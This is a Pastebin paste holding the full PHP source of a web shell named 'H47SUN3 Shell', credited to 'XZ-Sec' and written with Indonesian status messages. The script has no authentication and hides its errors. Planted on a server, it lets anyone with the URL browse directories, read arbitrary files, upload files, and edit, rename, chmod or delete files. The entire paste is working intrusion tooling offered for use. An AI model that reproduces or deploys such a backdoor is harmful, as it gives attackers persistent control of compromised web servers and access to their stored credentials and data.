VanGans

H47sune shell

Sep 17th, 2018
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.53 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>H47SUN3 Shell</title>
  15. <style>
  16. body{
  17. font-family: "Racing Sans One", cursive;
  18.    background-image: url("http://papers.co/wallpaper/papers.co-aw87-hatsune-milk-anime-girl-illustration-art-6-wallpaper.jpg");
  19.    background-repeat: no-repeat;
  20.    background-position: middle top;
  21. background-color: white;
  22. color: black;
  23. }
  24. #content tr:hover{
  25. background-color: blue;
  26. text-shadow:0px 0px 10px #fff;
  27. }
  28. #content .first{
  29. background-color: blue;
  30. }
  31. table{
  32. border: 1px #000000 dotted;
  33. }
  34. a{
  35. color:black;
  36. text-decoration: none;
  37. }
  38. a:hover{
  39. color:blue;
  40. text-shadow:0px 0px 10px #ffffff;
  41. }
  42. input,select,textarea{
  43. border: 1px #000000 solid;
  44. -moz-border-radius: 5px;
  45. -webkit-border-radius:5px;
  46. border-radius:5px;
  47. }
  48. </style>
  49. </head>
  50. <body>
  51. <h1><center><font color="Cyan">H47SUN3 Shell</font></center></h1>
  52. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  53. <tr><td><font color="black">Path :</font> ';
  54. if(isset($_GET['path'])){
  55. $path = $_GET['path'];
  56. }else{
  57. $path = getcwd();
  58. }
  59. $path = str_replace('\\','/',$path);
  60. $paths = explode('/',$path);
  61.  
  62. foreach($paths as $id=>$pat){
  63. if($pat == '' && $id == 0){
  64. $a = true;
  65. echo '<a href="?path=/">/</a>';
  66. continue;
  67. }
  68. if($pat == '') continue;
  69. echo '<a href="?path=';
  70. for($i=0;$i<=$id;$i++){
  71. echo "$paths[$i]";
  72. if($i != $id) echo "/";
  73. }
  74. echo '">'.$pat.'</a>/';
  75. }
  76. echo '</td></tr><tr><td>';
  77. if(isset($_FILES['file'])){
  78. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  79. echo '<font color="green">Upload Berhasil</font><br />';
  80. }else{
  81. echo '<font color="red">Upload Gagal</font><br/>';
  82. }
  83. }
  84. echo '<form enctype="multipart/form-data" method="POST">
  85. <font color="white">File Upload :</font> <input type="file" name="file" />
  86. <input type="submit" value="upload" />
  87. </form>
  88. </td></tr>';
  89. if(isset($_GET['filesrc'])){
  90. echo "<tr><td>Current File : ";
  91. echo $_GET['filesrc'];
  92. echo '</tr></td></table><br />';
  93. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  94. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  95. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  96. if($_POST['opt'] == 'chmod'){
  97. if(isset($_POST['perm'])){
  98. if(chmod($_POST['path'],$_POST['perm'])){
  99. echo '<font color="green">Change Permission Berhasil</font><br/>';
  100. }else{
  101. echo '<font color="red">Change Permission Gagal</font><br />';
  102. }
  103. }
  104. echo '<form method="POST">
  105. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  106. <input type="hidden" name="path" value="'.$_POST['path'].'">
  107. <input type="hidden" name="opt" value="chmod">
  108. <input type="submit" value="Go" />
  109. </form>';
  110. }elseif($_POST['opt'] == 'rename'){
  111. if(isset($_POST['newname'])){
  112. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  113. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  114. }else{
  115. echo '<font color="red">Ganti Nama Gagal</font><br />';
  116. }
  117. $_POST['name'] = $_POST['newname'];
  118. }
  119. echo '<form method="POST">
  120. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  121. <input type="hidden" name="path" value="'.$_POST['path'].'">
  122. <input type="hidden" name="opt" value="rename">
  123. <input type="submit" value="Go" />
  124. </form>';
  125. }elseif($_POST['opt'] == 'edit'){
  126. if(isset($_POST['src'])){
  127. $fp = fopen($_POST['path'],'w');
  128. if(fwrite($fp,$_POST['src'])){
  129. echo '<font color="green">Berhasil Edit File</font><br/>';
  130. }else{
  131. echo '<font color="red">Gagal Edit File</font><br/>';
  132. }
  133. fclose($fp);
  134. }
  135. echo '<form method="POST">
  136. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  137. <input type="hidden" name="path" value="'.$_POST['path'].'">
  138. <input type="hidden" name="opt" value="edit">
  139. <input type="submit" value="Save" />
  140. </form>';
  141. }
  142. echo '</center>';
  143. }else{
  144. echo '</table><br/><center>';
  145. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  146. if($_POST['type'] == 'dir'){
  147. if(rmdir($_POST['path'])){
  148. echo '<font color="green">Directory Terhapus</font><br/>';
  149. }else{
  150. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  151. }
  152. }elseif($_POST['type'] == 'file'){
  153. if(unlink($_POST['path'])){
  154. echo '<font color="green">File Terhapus</font><br/>';
  155. }else{
  156. echo '<font color="red">File Gagal Dihapus</font><br/>';
  157. }
  158. }
  159. }
  160. echo '</center>';
  161. $scandir = scandir($path);
  162. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  163. <tr class="first">
  164. <td><center>Name</peller></center></td>
  165. <td><center>Size</peller></center></td>
  166. <td><center>Permission</peller></center></td>
  167. <td><center>Modify</peller></center></td>
  168. </tr>';
  169.  
  170. foreach($scandir as $dir){
  171. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  172. echo '<tr>
  173. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  174. <td><center>--</center></td>
  175. <td><center>';
  176. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  177. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  178. echo perms($path.'/'.$dir);
  179. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  180.  
  181. echo '</center></td>
  182. <td><center><form method="POST" action="?option&path='.$path.'">
  183. <select name="opt">
  184. <option value="">Select</option>
  185. <option value="delete">Delete</option>
  186. <option value="chmod">Chmod</option>
  187. <option value="rename">Rename</option>
  188. </select>
  189. <input type="hidden" name="type" value="dir">
  190. <input type="hidden" name="name" value="'.$dir.'">
  191. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  192. <input type="submit" value=">">
  193. </form></center></td>
  194. </tr>';
  195. }
  196. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  197. foreach($scandir as $file){
  198. if(!is_file($path.'/'.$file)) continue;
  199. $size = filesize($path.'/'.$file)/1024;
  200. $size = round($size,3);
  201. if($size >= 1024){
  202. $size = round($size/1024,2).' MB';
  203. }else{
  204. $size = $size.' KB';
  205. }
  206.  
  207. echo '<tr>
  208. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  209. <td><center>'.$size.'</center></td>
  210. <td><center>';
  211. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  212. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  213. echo perms($path.'/'.$file);
  214. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  215. echo '</center></td>
  216. <td><center><form method="POST" action="?option&path='.$path.'">
  217. <select name="opt">
  218. <option value="">Select</option>
  219. <option value="delete">Delete</option>
  220. <option value="chmod">Chmod</option>
  221. <option value="rename">Rename</option>
  222. <option value="edit">Edit</option>
  223. </select>
  224. <input type="hidden" name="type" value="file">
  225. <input type="hidden" name="name" value="'.$file.'">
  226. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  227. <input type="submit" value=">">
  228. </form></center></td>
  229. </tr>';
  230. }
  231. echo '</table>
  232. </div>';
  233. }
  234. echo '<center><br/>Copyright &copy; -  Coded By  XZ-Sec</center>
  235. </body>
  236. </html>';
  237. function perms($file){
  238. $perms = fileperms($file);
  239.  
  240. if (($perms & 0xC000) == 0xC000) {
  241. // Socket
  242. $info = 's';
  243. } elseif (($perms & 0xA000) == 0xA000) {
  244. // Symbolic Link
  245. $info = 'l';
  246. } elseif (($perms & 0x8000) == 0x8000) {
  247. // Regular
  248. $info = '-';
  249. } elseif (($perms & 0x6000) == 0x6000) {
  250. // Block special
  251. $info = 'b';
  252. } elseif (($perms & 0x4000) == 0x4000) {
  253. // Directory
  254. $info = 'd';
  255. } elseif (($perms & 0x2000) == 0x2000) {
  256. // Character special
  257. $info = 'c';
  258. } elseif (($perms & 0x1000) == 0x1000) {
  259. // FIFO pipe
  260. $info = 'p';
  261. } else {
  262. // Unknown
  263. $info = 'u';
  264. }
  265.  
  266. // Owner
  267. $info .= (($perms & 0x0100) ? 'r' : '-');
  268. $info .= (($perms & 0x0080) ? 'w' : '-');
  269. $info .= (($perms & 0x0040) ?
  270. (($perms & 0x0800) ? 's' : 'x' ) :
  271. (($perms & 0x0800) ? 'S' : '-'));
  272.  
  273. // Group
  274. $info .= (($perms & 0x0020) ? 'r' : '-');
  275. $info .= (($perms & 0x0010) ? 'w' : '-');
  276. $info .= (($perms & 0x0008) ?
  277. (($perms & 0x0400) ? 's' : 'x' ) :
  278. (($perms & 0x0400) ? 'S' : '-'));
  279.  
  280. // World
  281. $info .= (($perms & 0x0004) ? 'r' : '-');
  282. $info .= (($perms & 0x0002) ? 'w' : '-');
  283. $info .= (($perms & 0x0001) ?
  284. (($perms & 0x0200) ? 't' : 'x' ) :
  285. (($perms & 0x0200) ? 'T' : '-'));
  286.  
  287. return $info;
  288. }
  289. ?>
Advertisement
Add Comment
Please, Sign In to add comment